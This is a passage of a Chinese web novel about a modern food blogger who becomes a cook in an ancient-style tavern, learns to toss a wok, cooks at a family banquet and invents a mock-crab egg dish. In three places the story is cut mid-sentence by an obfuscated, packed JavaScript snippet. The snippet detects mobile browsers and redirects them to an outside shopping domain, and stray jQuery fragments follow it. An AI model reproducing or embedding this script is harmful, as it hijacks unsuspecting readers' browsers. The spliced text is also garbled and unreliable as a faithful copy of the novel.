“想当厨子可不止刀工要好，菜肴好不好吃就看你锅甩得到不到位。”李莽见周瑶理看得认真，又放缓动作再来一次。 随着小臂送出去的动作，铁锅顺势往上颠，下一秒被往后猛拉的动作拽回。上下颠转间，沉重的铁锅被巧劲儿带出一段弧线，如同纸张般轻巧。 锅中的藕片随着厨子的动作，从锅中跃起悬空翻动，又跌入锅底。来回几次过后稍佐以调料，一份简单的素炒藕片即可出锅，香味随着漫起的热气直钻进鼻子。 周瑶理跃跃欲试，接过锅铲后浅浅试了下颠锅，铁锅只微弱动弹一下。与现代家用炒锅不同，她手下这口锅手柄为两耳状，意味着手握的地方离锅体近。 况且古代铸铁锅要来得更大更重些，虽不至于提不起，但初次尝试，难免把握不住技巧。先前李莽手中轻巧如薄纱的铁锅，现下在她手中像头倔驴。 周瑶理尴尬一笑，她也没想到居然会颠不起来。 站在她身后看热闹的黄蛮更是幸灾乐祸，“周厨娘还是和我一起好好学学吧，这口锅的重量可不是你一个小女娘可驾驭得了的。” 周瑶理一听顿时不乐意了，手举着锅铲转过身竖眉直瞪他，“黄工好生奇怪，仅凭一次意外就断定我不合适。从始至终，黄工对我恶意大得很呢。” “诶你！”黄蛮还想为自己辩驳些什么，周瑶理手中的锅铲离他太近，他再往前一步，那滚烫的铲子怕是会直接砸向自己的脸，瞬间怂了。 李莽没给她俩继续吵下去的机会，厉声喝住，“都不想干了！” 见此二人都闭了嘴。周瑶理已经出完恶气，便不跟他一般见识，转头继续练习颠锅。 今日酒馆客人出奇地多，周瑶理没多少练习的机会，开店没多久就又回去做好备菜的工作，一天下来都没再摸到锅边。 “那人是谁啊？来好几天了，也不点些吃的。” “林家大少爷，这你都不认识！” 周瑶理边擦桌子边听站在一旁的两个店小二聊天，瞬间被勾起好奇心，凑过去听墙角。 “林家是？” 她靠近得无声无息，突然出声将窃窃私语的俩人都吓了一跳。 “周厨娘刚来这还不熟悉吧。”对方见她也感兴趣，便拉着她一块儿。 昌南林家可是当地最有钱的商贾，但这还只是旁支，林家长房林大老爷在言安官乃礼部侍郎，官居四品。 “眼前这位乃言安来的，可惜了不知怎的，这林郎君突然不会说话了，”店小二像在讲自家少爷一般，满脸惆怅，“这才来咱这修身养性的。” 言安林家？言安又是哪儿？听起来像首都。 周瑶理顺着跑堂的眼神看去，斜对面坐着的那位林郎君生得确实好看，莫说头冠的精致程度，就连身上穿的袍子都彰显着来人的贵气。 一身花青色长袍，衣领同袖口还缝制了回纹，中和了衣服颜色本身的沉闷，腰间坠玉佩。 只是面上看起来直愣愣的，倒像是丢了魂。 对方好像察觉到有人看他，眼神直勾勾看过来，周瑶理来不及收回视线，猝不及防间和人对视上。 好在林郎君不是斤斤计较之人，不仅没有恼怒，还微扯嘴角淡笑着同她点头示意。周瑶理赶忙回以一笑。 不愧是温润公子如脂玉，怪有礼貌的。 周瑶理默默祝他早日康复，长得好看声音应该难听不到哪儿去。 晚上躺在床上等着入睡，奈何白天黄蛮的嗤笑在她脑子里挥之不去，猛地睁开眼，酝酿到一半的睡意瞬间消散无存。 简直奇耻大辱！ 周瑶理跳下床披好外衣，蹑手蹑脚打开门往后厨方向去。 只要她睡着就能回现代，反正她现在也睡不下。与其在躺着浪费时间，还不如起来再把颠锅练练，回现代可没有这玩意儿让她练习。 夜间的后厨乌漆麻黑，只有她手中的烛灯能提供点微弱的光亮。周瑶理找了个比较安全的地方将蜡烛立住，再摩拳擦掌站在灶台前。 她边回想白天李莽教她的技巧，手中的动作慢慢成型，还真让她领悟到一些。 “上臂带动小臂，前推后拉…”周瑶理沉浸其中，自言自语。 突然捕捉到地面上出现倒影，她还没来得及看清，只见几个人从帘后蹿出来大喊捉贼，着实把她吓一跳。 周瑶理抄起锅铲挡在身前快速往后退，撞上身后的窗。紧闭的窗户被突如其来的力度撞开，透进的月光打在来人脸上。 “李师傅？！” 刘厨子细小的眼睛拼命瞪大，手上还高举砖头，这么久以来她还是第一次见刘大厨眼睛这么大过。 对面几人此时也一脸茫然，“怎么是你？！” 两刻钟前李莽几人还在聊天，谈及有趣的事情时还哈哈大笑。一想到隔壁还住着周瑶理，怕吵着她便纷纷住了嘴，谁知屋内安静没一会儿就听见一外头传来细微的响声。 几人将门打开条小缝探出头去，发现隔壁周瑶理的屋子已经熄了灯，声响必不可能是从她屋里传来的。 下一秒就听刚刚听见的声音是从后厨那儿传出的，当下便觉遭贼了。 李莽带着人摸着墙往后厨方向走去，刘厨子顺路还捡了个趁手的砖头，到时候便一把砸过去。 结果冲进去一看，居然是“在睡觉”的周瑶理！ “抱歉，吵着你们。”周瑶理见状也不练了，放下锅铲老老实实跟人道歉。 “你看这事儿闹的，把你刘叔我吓得差点喘不上气。”刘师傅随手将砖头放下，看她一脸愧疚，也不敢继续挪揄她。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16892566|192238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 周瑶理略微抬起头，飞速看了眼李莽后又垂下头，生怕等等又挨顿骂。 李莽瞧她那眼珠子滴溜转个不停，顿时叉着腰无奈摇头，心道这姑娘真是不同寻常，但也没打算责怪她。 “大晚上不睡觉在这练习呢，练成了吗？” 她闻言抿嘴缓缓点头，应该算成了吧？ “来一个我看看。”李莽朝她扬了扬下巴，准备验收练习成果。 周瑶理巴不得李莽检查作业，有老师傅指点肯定比自己瞎折腾要强得多。只待李莽话音刚落，她便箭步上前抄起锅铲，将翻锅的动作重新演示一遍。 “还成，悟性挺高。” “yes！”周瑶理得到夸奖后默默握紧拳头，小声庆祝一番。 不妄她大半夜不睡觉练了半个多钟。 其他人看见她这动作，一头雾水。周瑶理反应过来自己刚刚的举动太过怪异，打着哈哈掩饰掉自己的另类。 “行了，快回去休息。”李莽本就累了一天，刚还同人聊了一晚上，现在早已困得不行。 等其他人都走后，她将炊具都复位完毕才回屋。 “行哥，你什么时候回来？”陈东旭一脸羡慕地看着对方。 林嘉行研究生读的酒店管理，这次调研对象是国内的一家酒店，他得回国一周。 陈东旭恨不得把自己拴在他的裤腰带上，让林嘉行带着他回国。他高考失利，陈父二话不说将他弄到国外混个学历，正好林家儿子也在英国，顺便在人面前刷刷脸。 林家只有林嘉行一个孩子，家业到时候不都得是他的。提前在人面前混个脸熟，将来好谈合作。 “问这干嘛。”林嘉行不想多说什么，只顾着往嘴里送吃的。本来自己在学校长椅坐得好好的，不知道陈东旭从哪个地方冒出来的。 陈东旭不是本校生，只是进来找他几个狐朋狗友，到饭点了才想起林嘉行在这读研，凑巧还真让他撞见对方一个人在那儿吃午饭，当即便拉着一帮朋友过去。 全程只有陈东旭自己一个人在叽叽喳喳，林嘉行被他吵得脑袋嗡嗡响。正巧这时坐在他旁边的女生在看美食视频，手机里传出熟悉的声音，他下意识转头看了眼。 视频里的女孩子长得很眼熟。 林嘉行收拾东西的手顿住，“这是哪个博主？” 旁边的女生听到有人说话，转过去一看，林嘉行正指着她手机里的视频问她。 “这个博主吗？她叫不学理只做饭！”见林嘉行感兴趣，女生像找到同好一样跟他分享。 “可惜，这个博主要停更一段时间了。”说是最近有点忙呢。 林嘉行和对方道谢过后，收拾好东西走人，完全没搭理身后话还没说完的陈东旭。 “巧合吧。” 林嘉行回家后上软件搜了下“不学理只做饭”，随便点开个视频，看着屏幕里的人暗自沉思。 怎么会有长得这么像的人。 他干脆打开电脑，准备和影片里的人对照一番。但打开电脑一看，文件夹不见了，回收站也没有。 凭空消失。 林嘉行瞬间起了一身鸡皮疙瘩，这还没七月七呢。 晚上他再次打开电脑，白天消失的文件夹又回来了，并且雷打不动地更新一集。 “一模一样…”林嘉行举着手机，将手机上的人和影片里的周娘子一一比对，连鼻尖的痣都在同个位置。 这么古怪的事也被他撞上了。 5. 上门做菜初露面 林嘉行此次回国没跟家人提起过，就连家门都没进过，下了飞机直接住进自己调研的酒店。 只是自从回国后，《燥候厨神诞生》就没再准时更新过。 他刚回国那天疲于倒时差，一觉睡醒已经是下午五点。想着平日这个时间，那片子多半更新了，便打算当作下饭剧，然而一打开发现居然没更新。 第二天再次打开就发现更新了一集，林嘉行这才反应过来，原来还有时差。在伦敦那会儿每天下午四点半准时更新，回国了估计得要十二点左右。 不过他每天忙着写调研报告，白天也找不到时间，干脆囤着回学校再打开。 一转眼就到沈家家宴那日。 周瑶理前几天可谓是春风得意。自从她能颠得一手好勺之后，李莽把酒馆的大部分简单菜肴都交给她，自己便能空出时间准备沈家宴席的菜色。一段时间下来，周瑶理练得炉火纯青，还真有能独当一面的气势。 李莽本打算将她留在酒馆里，后厨好有个照应，让黄蛮给自己打下手。可惜黄蛮那小子从周瑶理挤进厨子行列开始就变得不对劲儿，又是阴阳怪气又是毛手毛脚。 李莽见此开始犹豫，到底带谁好？ 若是带上小周，店里没了得力的人怕是会乱成一团。但带上黄蛮前去，李莽实在怕他这性子会毁了自己的名声。 “小周，下午你跟我去沈家。”李莽思索许久，最后还是决定带上她。 “李师傅你不是说好的带上我吗！” 周瑶理都还没开口呢，一旁的黄蛮气急。 他可不傻，虽说去沈家家宴上只是给李莽二人打下手，但沈家是何许人？整个昌南，也就沈家可以和林家平分秋色。 沈家老夫人为人和善，届时定会召准备宴席的厨子前去领赏。黄蛮想着到时候自己只需在深老夫人面前多表现一番，好处自然能收进荷包。 谁知中途冒出个周瑶理来抢位置，本就和她不对付，这下更是怀恨在心。 周瑶理倒以为无所谓。她才到这不足一月，连月钱都还没拿到，自是不知其中的弯弯绕绕。 于她而言，留在饭馆也好，跟着去打下手也罢，只要能让她学到些东西，加快自己成为天下第一厨的进度，一切都好商量。 “既然如此，我需要准备些什么吗？”周瑶理第一次转移工作场地，不免有些好奇。这不就是古代版的上门做菜吗，原来古人这么会享受！ “脑子带上，别丢我的脸面。” 站在沈家门口时，周瑶理大概能明白上马车前黄蛮看着她的幽怨眼神。 这也太豪了！ 她从来了雍都朝之后，每天的活动范围只在酒馆内部。云禾的东家不是不给她们放假，只是她来的时候已经错过了第一次的休息日，上次休息日在文房铺耽误了不少时间。 除此之外，她每天两眼一睁便是酒馆后院，醒了就像牛一样在厨房忙上忙下。不怪她一副没见过世面的样子，属实是没有机会出门了解昌南道。 “烦请几位随我来。”打头的丫鬟打扮得精致，一举一动更是令人说不出一个坏字。 李莽应了声，率先跟着下人往里走，周瑶理见状紧随其后。他们几个算不得贵客，只是沈家请来的庖厨罢了，按照规矩应从偏门入。 不过沈老夫人不讲究这些，以贵客之道相待，丫鬟遂带着他们从正门走入，再一路通往厨房。高门贵府确实非同一般，单是从正门走过园子都得费不少脚程。 “多谢姑娘。” 丫鬟将他几人送至厨房便退下。周瑶理等人走后才开始细细观察，条件设施比她预想的要更好一些，就连炊具的完善程度都不输饭馆。 “小周，过来帮忙。” 听见李莽喊自己，周瑶理马上放下手中的东西快步上前。 沈老夫人素日不喜浪费，张娘子特地交代菜肴得少，至多八道但又不得含糊。李莽为此苦恼了好几日，最终和刘大厨商定好共七道。 开胃小食定为糖醋荷藕。切得均匀薄片的荷藕从滚水捞过再放入提前备好的凉水之中，在此期间另起炉灶调制一酸甜酱汁。 清脆爽口的藕片裹上一层甜醋酱，正值初夏虽然不比酷暑那般燥热，但尝上一口醋爽，更是开胃。 主菜便由一道莲房鱼包打头。时令的去芯嫩莲子混合新鲜的虾丁，只需佐以少许盐便可塞回莲房上锅蒸制，莲房的微苦中和海味的腥感，清香而不腻。 再一道葫芦鸡、炙野鸭，昌南人喜鱼鲜，便再添一道刘大厨的拿手菜姜汁鱼片。 小儿最喜甜，毕罗少不了。用以樱桃毕罗和水晶角儿收场，搭配上一盏甘草汤，好不解腻。 其中炙野鸭最为繁复。只取鸭胸处的部位，经过捶打使其肉质更为松软而不干柴。 最麻烦的便是炙烤环节，需单独用石炉再在上面架一瓦片，将腌制得当的肉块放于瓦片上头炙烤。 这便是周瑶理今日的任务。 先从取肉开始，在后厨干活短短半月有余，于她而言剔骨片肉这事儿可谓游刃有余。 从鸭腹中间干脆利落划过，再贴着胸骨将一侧胸肉片出。三两下的功夫，一块胸肉完整取出。 令她惊讶的是古人的调料竟也不少，将姜蒜葱切成碎末，放上两丝橘皮增香，花椒同西芹粒更是必不可少，最后淋上豆瓣酱细细揉搓使其入味，腌制上一个时辰。 等待腌制的过程，周瑶理又去准备水晶角儿的馅料。这水晶角呢，馅料颇多，此次选用山楂入馅。将洗净的山楂果去核切丁，再加入柰块捶打成泥。 说起柰这东西，周瑶理一开始还以为是新奇物种，等见到实物后才知原来是咱们现代所说的苹果，口感偏绵软。 古代没有破壁机，她只好用石臼将其碾压成泥。 先是用木槌棒打鸭肉，再是石杵暴锤山楂。周瑶理将整个厨房震得框框响，连李、刘二人都忍不住停下手头上的动作看她，见她一脸认真又不好意思打断，只得在心中暗道，此女怀有奇力，甚怖也。 等到晚间开宴周瑶理才返回石炉旁，着手炙烤鸭肉。石炉做得精致小巧，她搬了张凳子坐在一旁，等火旺之后架起瓦片再等上片刻才把鸭肉放入。 炙鸭肉全程不需一滴油，先将带皮一侧烤出油星翻面，用炼出的油脂继续烤制。不一会儿四面就炙烤到位，鸭肉变得紧致，稍一按压还能看见肉块不住地往外冒汁水。 待到此次便可将肉块取出切成薄片，复尔继续炙烤。这道工序乃重中之重，若取早了鸭肉还未熟透，入口便是肉腥味；取晚了也不行，肉片以薄为佳，炙烤过久 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16892567|192238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便会使肉质老柴。 周瑶理一手举着筷子一手托盘，肉片刚放上发出滋啦烤声便翻面，不多时夹出摆盘。 来回之间耗时两刻钟才堪堪完成，用醒好的薄荷叶点缀，最后交与丫鬟端出上菜。 周瑶理的工作到此全部完成，李莽还在专心致志做着葫芦鸡，暂时不需要打下手，见此她便溜达到一旁围观刘大厨片鱼。 周瑶理做美食博主一年来唯一没碰过的，当属片鱼生。 她实是不知怎么片鱼，倒是她妈妈可谓是片鱼高手，不漏一根刺不掉一块肉。 姜汁鱼片不愧是刘师傅的拿手好菜，周瑶理站在那才一小会儿，一整条鱼现已变成一片片的鱼肉，整条鱼骨完整无暇。刘师傅只取鱼肉，将鱼骨连同整个鱼肉丢弃。 周瑶理看了心痛不已，这鱼头煎制一番再加块豆腐倒上滚水，出锅前放上薄荷，不就是一道豆腐鱼汤吗！ 本想偷师学艺，结果不仅没看清手法，反而还馋上鱼汤了。不想还好，开了个头之后便愈发控制不住了，周瑶理脑子里全是吃的，馋得不行。从她踏进沈府开始，还没吃过东西呢！ 不对，烤鸭肉的时候不知哪儿来的小女郎趴在门口探头探脑的，许是身量太低没人发现。 周瑶理那会儿刚好坐在门边，和对方面面相觑，最后那小女郎给她嘴里塞了块糕点就跑远了。 所有菜都上齐之后，厨房里仨人才有空休息一会儿，李莽掏出带来的胡饼用刚刚烤鸭用的炉子，简单烘烤过后分给剩下两人随便对付两口。 周瑶理举着半块饼就往嘴里塞，管它三七二十，吃饱再说。 没成想啃没两口，外头进来个丫鬟，说是沈老夫人有请。她嘴里的饼都还没咽下去，就被李莽提溜着去前厅。 “师傅你走慢点，我要噎死了。”周瑶理光吃胡饼不喝水，嘴里含着一包饼碎还没吞下就被赶鸭子似的催出去，这会儿一口气堵在胸口难受得要命。 好不容易顺下来，这会儿人也到前厅了。 “沈老夫人安。” 周瑶理跟着李莽行礼，偷偷抬起眼观察堂中坐着的几人，还真给她发现了熟人。 那位送她墨条的娘子，原是沈家人。 对方估计也认出来了，脸上闪过一丝惊讶后又笑着朝她点头。周瑶理见状也回以一笑，便老老实实站在一旁。 “李大厨技艺不减，老身平日里最是惦念这道莲房鱼包。”沈老夫人果真如大家所说，慈眉善目，很有涵养的老太太。 就在这时，堂中响起一道稚嫩声响，不知哪位小童说着想吃蟹。 张娘子听了好不无奈，“五郎莫要胡闹了，这时节哪儿有蟹。” 奈何那小男郎愣是不听，颇有一种今日吃不上蟹就不善罢甘休之意。堂中几人面面相觑，莫说沈家人自知是小儿胡闹，就是李莽也没法儿变出一只蟹来。 这才六月末，上哪儿找蟹去。 “二丫头你平日最有主意了，不若哄哄五郎？”沈大爷蹙着眉头看向那位曾送东西给周瑶理的娘。 原来她行二。 沈二娘子也是拿这小屁孩没办法。 周瑶理看全场无一人能行，怕这小子会耽误自己下工，霎时心下一横。 “老夫人，我或许有法子一试。” 6. 小露身手攒名声 周瑶理话音刚落，顿时全场的目光都聚焦在她身上，就连一旁的李莽都不知她能有何主意。 “这里不是耍小聪明的地儿。”李莽朝她使了个眼色，低声从牙缝里挤出句话。 周瑶理同样皱起眉头为自己辩驳，“李师傅我没开玩笑。” 他俩的动静沈家人都看在眼里，沈五郎又闹得厉害，沈老夫人干脆直接越过李莽看向他身后的周瑶理，“总归不过是一道菜罢了，小娘子既有办法，李大厨不妨让她试试。” 小儿啼闹最是惹人无奈，既如此倒不如看看她能做出道什么菜来。 李莽犹豫不定时，沈二娘子也开口替周瑶理说话，“李大厨暂且信厨娘一回吧，凡事都得尝试一番。” 既然沈家人都开口了，李莽便不再阻扰。 周瑶理跟着丫鬟回到厨房，片刻过后端着个盘子走在丫鬟后头回到正厅。 沈家丫鬟接过她手中的碟子放在沈小五郎面前，周围众人甚是好奇，就连李、刘二人也想不到她会做出个啥来，纷纷看向桌上新添的那道菜。 乍一看还真像那么回事儿，顶上是金黄的蟹膏，再仔细瞧便会发现底下还铺着层嫩白蟹肉。层层交叠，连淌在其中的汤汁都像极了蟹浆。 “五郎尝尝？” 沈小五郎轻轻舀上一勺，刚放进嘴便亮着眼睛看向一旁的沈老夫人不住点头，“阿家，是蟹肉的味道！” 周瑶理此时也提心吊胆生怕不合口味，双手紧握期待小孩的反应，直到沈家五郎边说着好吃边把盘中的食物一扫而光，才放下心松口气。 “这位？”沈老夫人此时笑着看向周瑶理，想起自己还不知道她名唤什么，转头看向李莽。 “这是周厨娘，云禾酒馆刚来的庖厨。”李莽立马反应过来，向众人介绍她。 “可否询问周厨娘如何变出盘蟹肉来？”还不是吃蟹的季节她却能凭空端上盘满膏蟹肉，实在让人新奇。 “回老夫人，这菜名为赛螃蟹。”周瑶理不打算藏着掖着，反正早晚都是要知道的。 就在那小屁孩嚷嚷着要吃蟹时，她瞄到旁边的李莽满脸惆怅，心下暗道炒盘赛螃蟹不就得了？ 蹦出这个念头时脑子里闪过光亮，随即出现一张菜谱，系统女音同时出现，“恭喜挑战者触发通道，请合理利用。” 原来这就是之前系统提过的通道，先前她还以为通道是将她传送回现代争分夺秒查菜谱，搞半天这东西不是给她的，是给菜谱用的。 “赛螃蟹？”张娘子疑惑开口，实是不知其寓意。 “在我老家那边曾经也有位老太太可喜欢吃蟹了，奈何也是在这样的时季馋得不行。” 周瑶理瞧她们感兴趣，便把人名略去当讲故事般，“她家厨子因此想了个法子。” 用鸡蛋“狸猫换太子”，将蛋清同蛋黄分开再预调酱汁。 少许生姜切沫，碗中加入陈醋、料酒、少许盐，再加上一点点糖即可，最后再倒入一点清水。 热油下锅，蛋清翻炒凝结后倒入一半酱汁随即捞出装盘，用同样的方法翻炒蛋黄液。 金灿的蛋黄覆盖在嫩弹的蛋白块上被浓郁的酱汁包裹住，一道非赛螃蟹即刻出锅。 “当真有趣得紧。”沈二娘子听完感慨道，用鸡蛋替作螃蟹从未听闻过，“先前便觉着周娘子不一般，果真如此。” “瑜娘可曾认识？”沈老夫人转头，有些惊讶看向她。 沈二娘子便简略提起之前在文房铺那事儿，夸得周瑶理连连摆手。 “沈二娘子谬赞，实是不敢当。”再夸下去她就要起飞了。 天色不早，因着雍都朝有宵禁法，张娘子大赏完便送他们仨出门，临了沈二娘子喊住周瑶理。 见她二人有话说，李莽叮嘱她别耽误太久，随即率先上马车。 “二小姐可有事找我？” 沈二娘子拉过她的手笑着说道，“想起还未同你互通姓名，我叫沈秋瑜，家中长辈唤我瑜娘。” 周瑶理也同她互道姓名。 “我以后便唤你瑶娘，可好？” 周瑶理闻言点头，沈秋瑜看着不难相处，是个好相与的人。 回程路上李莽时不时看向周瑶理，另一侧的刘大厨更是明目张胆地盯着她看，嘴里还发出啧声。 周瑶理被他二人看得发毛，“二位大厨为何如此看我？” 怪让人慎得慌。 “你的老家真有道菜名为赛螃蟹？”李莽托着下巴，这位周娘子浑身上下都是谜团。 “千真万确，我骗您干嘛呀！” 周瑶理默默吐槽，中华上下五千年，那叫咱家。 “哎呀我还没尝过，当真有蟹味儿？” 刘大厨回想起刚刚在沈府看到的那盘赛螃蟹，馋得不行。周瑶理捂嘴偷笑，答应明日再做一盘给他尝尝。 第二天早上周瑶理回到现代的家里，一起床就把做赛螃蟹的教程拍成视频上传。前些时候反反复复在两个时空来回跳转，她有些适应不过来，便停更了一段时间。 半个多月来她早已习惯现在这种节奏，合计着该一步步恢复更新，毕竟在现代也是要生存的。 和她先前做过的视频相比，这支视频肉眼可见的简单，不一会儿的功夫便拍完了。剪辑上传后，周瑶理打算去趟书店再买一些和美食相关的书籍。 林嘉行的调研任务基本结束，剩下最后一天无所事事，干脆去书店转转，刚好就在酒店附近。 去书店并非是他临时起意。没打开那部影片前，他的食欲几乎为零，只能吃不死就能往嘴里塞，主打活着就行。 看了近半个月的美食视频，意外勾起林嘉行的食欲。正好此次回国，他便想着干脆带本食谱回去。 林嘉行没想到他才出国两年不到，国内咖啡馆都开进书店里了，不过分界还算明显。 他想要的那类书籍正巧在靠近咖啡馆那侧，林嘉行对这些一窍不通，随便挑了两本就打算结账走人，刚一转身便愣了神。 对面咖啡馆靠外侧坐着的女生，十分眼熟。他掏出手机打开软件里的唯一关注，比对之后发现就是同一个人。 “三个…长得都一样？”林嘉行之前还觉得是巧合，现在又有点不确定了。 巧合过多，便显得诡异。 隔壁书店是去年新开的，和其他书店不同，这家不仅卖书还可以借书。周瑶理平时无聊的时候最喜欢来这逛逛，随便拿本感兴趣的书去隔壁咖啡店，经常能坐上小半天。 咖啡店也是隔壁书店老板开的，也算是联合营销了。 如同往常一样，周瑶理一坐下就掏出笔记本，将自己想要的信息全都记下来，咖啡店里全是和她一样捧着书的人，格外安静。 然而这次总有些怪异的感觉，周瑶理抬起头看向旁侧，便和站在过道旁的男生对上眼。 对方见她转过来还愣了一下，随后略带歉意朝她点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16892568|192238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了下头，转身就走了。 周瑶理还在状况之外，等回过神才发觉对方好像有点熟悉，但又想不起在哪儿见过。 睁开眼看见满屋古代装饰时，周瑶理已经没了刚开始的惆怅，从善如流地打水洗漱，再穿过后院往酒馆后厨走去。 她现在满脑子只有当天下第一厨的想法，其他事情通通闪开。 “周厨娘今日可早。” 王东家这几日又雇了个洗碗工，还是个看起来只有十五六岁的小姑娘。 那孩子嘴甜得很，每日见着周瑶理都笑嘻嘻打招呼。 “燕娘也早。“ 周瑶理拿过墙上挂着的襻膊，边和对方聊天边往身上套。燕娘家就住在这附近，人也勤奋，酒馆一开门就来了。 对方见她从后院过来，一脸疑惑，“瑶姐姐也同李大厨他们住在后院吗？” 可不是嘛，周瑶理自己也发愁呢。眼见着这个月就要发工钱了，她到现在都找不到机会出去寻房子，甚至不知道这儿的房屋中介在何处。 看向眼前的小姑娘时，周瑶理瞬间眼前一亮，放下刀走到还在洗菜的燕娘旁边蹲下，“燕娘可知咱们昌南道，在哪儿可租到房子？” “租房？”对方听不懂她口中的租房是何物。 周瑶理又解释到，“就是用钱财向有房子的人借一间屋子的意思。” “瑶姐姐说的是赁屋吧！” 她疯狂点头，小孩你懂我。 可惜对方也没办法给她提供有效信息，燕娘和爹娘住在自己家，长这么大也没租过房子，自是不懂。 如此一来周瑶理只好作罢，想着过几天便是25日了，到时候再去街上问问看好了。 不多久李莽他们也来了，刘大厨一看到周瑶理就想起昨晚那道赛螃蟹，生怕她忘了。 “小周你可别忘了昨晚答应我的。” 周瑶理好一顿无语，嘴上说着知道了，手下动作不减。等她切完这筐菜再说，免得等等黄蛮又再瞎搅和。 黄蛮此时更想知道她二人之间在打些什么哑谜，怎么短短一日不见，这姓周的把刘大厨也治得服服帖帖，再这样下去不得踩在自己头上。 “周厨娘果真不一样，短短半月便将咱们后厨的人都摸得一清二楚。”黄蛮实在见不得她好，巴不得给她泼点脏水。 周瑶理连个眼神都懒得分给他，“可真是看得起我，这不还有你对我虎视眈眈吗。” 说完把刀下的瓜蔬一铲再放进盘中，端起盘子同他插肩而过，余光都为未曾分他一半。 黄蛮顿时气得胸口起伏，正想叫住她，下一秒平日里不怎么踏入后厨东家撩开帘子走进。 王东家走进来打眼一看就见黄蛮傻愣愣地站在中间，瞬间拧起眉毛。平日里他插科打诨不做事也就罢了，现在还敢在他眼皮子底下偷懒，“黄蛮你若是不想干就滚，有的是人争着进我云禾的后厨。” 黄蛮霎时不敢吭声，夹着尾巴走到一旁老老实实干活。 周瑶理忙着备菜，哪管他们那边的动静。刘大厨从昨晚开始就念叨着想吃那道赛螃蟹，趁着有空，周瑶理顺手起锅烧油，下蛋翻炒淋上酱汁再捞出，一气呵成。 王东家此时还未离开，看她端上一盘从未见过的菜色放在桌上，好奇凑上去看个究竟。 “周娘子做的这是？” “赛螃蟹！”站在旁边的刘大厨抢着回答，“昨儿小周就是靠这道菜拿下沈家五郎的。” 7. 是你吗老乡 其他人闻言一脸惊讶，倒没想过她还有这能耐。 东家率先舀上一勺，其他人见状也不甘示弱。不一会儿整盘空空如也，甚至周瑶理自己都没吃上一口。 “难怪叫赛螃蟹，这名字好！” 王东家本就惆怅云禾得有一年没出新菜色了，前段时间县里又新开一家饭馆，他是愁得茶饭不思。 这下好了，最棘手的问题被店里新来的厨娘解决了。当初把人捡回酒馆本意是不忍心看小姑娘流落街头，没想到这周厨娘还真有两下子。 “今儿起这道菜就在咱们家店里售卖。”王掌柜思虑一番，决定让周瑶理主要负责这道菜。 整个昌南也只有她会做。 “这个很简单的。”周瑶理甚至有些受宠若惊，这菜应该没那么难吧。 王掌柜有自个儿的考量，就这么定下。 东家都发话了，周瑶理也不好再说些什么。只是这赛螃蟹还缺一样，便是咸鸭蛋。 若是用咸鸭蛋的蛋黄替代蟹膏部分，风味更佳。只不过只取咸蛋黄部分，剩下的蛋白她还没想好用在何处。 直接丢掉未免太浪费些，古代不及现代，大伙儿还在寻求温饱阶段，如此行事往后多半会惹人非议。 她可没忘身边有个黄蛮子像身后灵一样盯着她呢。 正式跻身进入厨子行列，周瑶理不禁摩拳擦掌准备大显身手。没成想店门一开，她一早上都在打蛋炒蛋。 不知店小二是怎么营销了，来馆子的客人都知道今日云禾上新菜，全都想尝个鲜。 好不容易等等下午人少一些，她才得空休息一会儿，去大堂那透透气。 刚掀过帘子，打眼就看见先前拉着她一块聊八卦的俩小子又凑一块儿嘀嘀咕咕的，也不知道又在编排些啥。 周瑶理顿时生起鬼点子，轻手轻脚靠近，背着手站在二人身后故意咳了一声。 俩人果真被她吓了一跳，还以为是东家来了，纷纷转过身找借口。看见来人是周瑶理时，紧绷的肩膀才放下，随后不高兴地瞪她一眼。 “周厨娘可真坏，尽吓我们。” “是周厨子。”周瑶纠正道，“好了我跟你们道歉，对不住。” 两位跑堂的心思单纯，这点插曲儿没放心上，拉上周瑶理继续聊天。 “那位林郎君好久没来了，怕是不喜欢咱们馆子的菜色。” 另一个跑堂的刚开始点头附议，随即又发觉不对，“他不是没点过菜吗？你怎么知道不合他口味。” 周瑶理好一顿无语，合着人家来了几次都被这俩货算着呢，“也许人家就是来散散心的，哪有那么多其他心思。” 一开始讲话的小二不赞同地摇头，“非也非也，周厨娘这你就不懂了。” “是周厨子。”周瑶理见缝插针，再一次耐着性子纠正。 “哦哦，周厨子有所不知，咱们昌南道这的馆子生意好不好，和这些贵人家关系大着呢！” 不止昌南道，放眼整个雍都其实都是这般。不论是酒馆还是茶楼，亦或是成衣铺子胭脂阁，只要达官贵人去得多，那平民百姓定也会去凑个热闹。 昌南道说得上嘴的除了沈家便是林家，更何况先前总来店里坐着发呆的林郎君还是言安来的，更是了得。 这几日他没再来之后，云禾的客人眼瞧着都少了两三成，估摸都以为林郎君不喜云禾的菜式。 掌柜的这几日愁得都老了几岁，他们这些打杂的可不敢上前去触霉头。 